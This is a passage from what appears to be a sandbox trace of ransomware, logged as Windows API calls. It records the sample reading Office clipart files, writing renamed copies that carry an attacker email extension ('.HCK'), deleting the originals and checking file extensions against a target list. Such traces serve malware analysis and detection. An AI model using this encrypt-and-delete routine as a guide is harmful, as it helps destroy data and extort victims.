lpString2=".HCK") returned 1 [0161.552] lstrlenW (lpString="HH00687_.WMF") returned 12 [0161.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.552] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4340) returned 1 [0161.552] CloseHandle (hObject=0x308) returned 1 [0161.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0161.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.552] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.552] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.553] GetLastError () returned 0x0 [0161.553] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x10f4, lpOverlapped=0x0) returned 1 [0161.554] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1100, lpOverlapped=0x0) returned 1 [0161.555] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.555] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.555] SetEndOfFile (hFile=0x380) returned 1 [0161.555] CloseHandle (hObject=0x380) returned 1 [0161.556] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.556] SetEndOfFile (hFile=0x308) returned 1 [0161.557] CloseHandle (hObject=0x308) returned 1 [0161.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0161.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.557] lstrlenW (lpString=".doc") returned 4 [0161.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.557] lstrlenW (lpString=".docx") returned 5 [0161.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.557] lstrlenW (lpString=".pdf") returned 4 [0161.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.557] lstrlenW (lpString=".xls") returned 4 [0161.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.557] lstrlenW (lpString=".xlsx") returned 5 [0161.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.557] lstrlenW (lpString=".ppt") returned 4 [0161.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.557] lstrlenW (lpString=".zip") returned 4 [0161.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.557] lstrlenW (lpString=".rar") returned 4 [0161.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.557] lstrlenW (lpString=".bz2") returned 4 [0161.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString=".7z") returned 3 [0161.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString=".dbf") returned 4 [0161.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString=".1cd") returned 4 [0161.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString=".jpg") returned 4 [0161.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString=".doc") returned 4 [0161.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString=".docx") returned 5 [0161.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.558] lstrlenW (lpString=".pdf") returned 4 [0161.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString=".xls") returned 4 [0161.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.558] lstrlenW (lpString=".xlsx") returned 5 [0161.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.558] lstrlenW (lpString=".ppt") returned 4 [0161.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString=".zip") returned 4 [0161.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.558] lstrlenW (lpString=".rar") returned 4 [0161.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString=".bz2") returned 4 [0161.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString=".7z") returned 3 [0161.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString=".dbf") returned 4 [0161.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString=".1cd") returned 4 [0161.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0161.558] lstrlenW (lpString=".jpg") returned 4 [0161.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.558] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.558] lstrlenW (lpString="HH00688_.WMF") returned 12 [0161.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.559] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7084) returned 1 [0161.559] CloseHandle (hObject=0x308) returned 1 [0161.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0161.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.559] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.559] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.560] GetLastError () returned 0x0 [0161.560] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1bac, lpOverlapped=0x0) returned 1 [0161.561] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0161.561] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.562] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.562] SetEndOfFile (hFile=0x380) returned 1 [0161.562] CloseHandle (hObject=0x380) returned 1 [0161.562] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.562] SetEndOfFile (hFile=0x308) returned 1 [0161.563] CloseHandle (hObject=0x308) returned 1 [0161.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0161.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.564] lstrlenW (lpString=".doc") returned 4 [0161.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString=".docx") returned 5 [0161.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.564] lstrlenW (lpString=".pdf") returned 4 [0161.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString=".xls") returned 4 [0161.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.564] lstrlenW (lpString=".xlsx") returned 5 [0161.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.564] lstrlenW (lpString=".ppt") returned 4 [0161.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.564] lstrlenW (lpString=".zip") returned 4 [0161.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.564] lstrlenW (lpString=".rar") returned 4 [0161.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString=".bz2") returned 4 [0161.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString=".7z") returned 3 [0161.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.564] lstrlenW (lpString=".dbf") returned 4 [0161.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.564] lstrlenW (lpString=".1cd") returned 4 [0161.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.564] lstrlenW (lpString=".jpg") returned 4 [0161.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.564] lstrlenW (lpString=".doc") returned 4 [0161.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString=".docx") returned 5 [0161.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.564] lstrlenW (lpString=".pdf") returned 4 [0161.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.564] lstrlenW (lpString=".xls") returned 4 [0161.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.564] lstrlenW (lpString=".xlsx") returned 5 [0161.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.564] lstrlenW (lpString=".ppt") returned 4 [0161.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.565] lstrlenW (lpString=".zip") returned 4 [0161.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.565] lstrlenW (lpString=".rar") returned 4 [0161.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.565] lstrlenW (lpString=".bz2") returned 4 [0161.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.565] lstrlenW (lpString=".7z") returned 3 [0161.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.565] lstrlenW (lpString=".dbf") returned 4 [0161.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.565] lstrlenW (lpString=".1cd") returned 4 [0161.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0161.565] lstrlenW (lpString=".jpg") returned 4 [0161.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.565] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.565] lstrlenW (lpString="HH00693_.WMF") returned 12 [0161.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.565] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7098) returned 1 [0161.566] CloseHandle (hObject=0x308) returned 1 [0161.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0161.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.566] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.566] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.566] GetLastError () returned 0x0 [0161.566] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1bba, lpOverlapped=0x0) returned 1 [0161.567] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0161.568] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.568] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.568] SetEndOfFile (hFile=0x380) returned 1 [0161.569] CloseHandle (hObject=0x380) returned 1 [0161.569] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.569] SetEndOfFile (hFile=0x308) returned 1 [0161.570] CloseHandle (hObject=0x308) returned 1 [0161.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0161.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString=".doc") returned 4 [0161.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString=".docx") returned 5 [0161.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.571] lstrlenW (lpString=".pdf") returned 4 [0161.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString=".xls") returned 4 [0161.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.571] lstrlenW (lpString=".xlsx") returned 5 [0161.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.571] lstrlenW (lpString=".ppt") returned 4 [0161.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString=".zip") returned 4 [0161.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.571] lstrlenW (lpString=".rar") returned 4 [0161.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString=".bz2") returned 4 [0161.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString=".7z") returned 3 [0161.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString=".dbf") returned 4 [0161.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString=".1cd") returned 4 [0161.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString=".jpg") returned 4 [0161.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString=".doc") returned 4 [0161.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString=".docx") returned 5 [0161.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.571] lstrlenW (lpString=".pdf") returned 4 [0161.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString=".xls") returned 4 [0161.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.571] lstrlenW (lpString=".xlsx") returned 5 [0161.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.571] lstrlenW (lpString=".ppt") returned 4 [0161.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.571] lstrlenW (lpString=".zip") returned 4 [0161.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.571] lstrlenW (lpString=".rar") returned 4 [0161.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.572] lstrlenW (lpString=".bz2") returned 4 [0161.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.572] lstrlenW (lpString=".7z") returned 3 [0161.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.572] lstrlenW (lpString=".dbf") returned 4 [0161.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.572] lstrlenW (lpString=".1cd") returned 4 [0161.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0161.572] lstrlenW (lpString=".jpg") returned 4 [0161.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.572] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.572] lstrlenW (lpString="HH01013_.WMF") returned 12 [0161.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 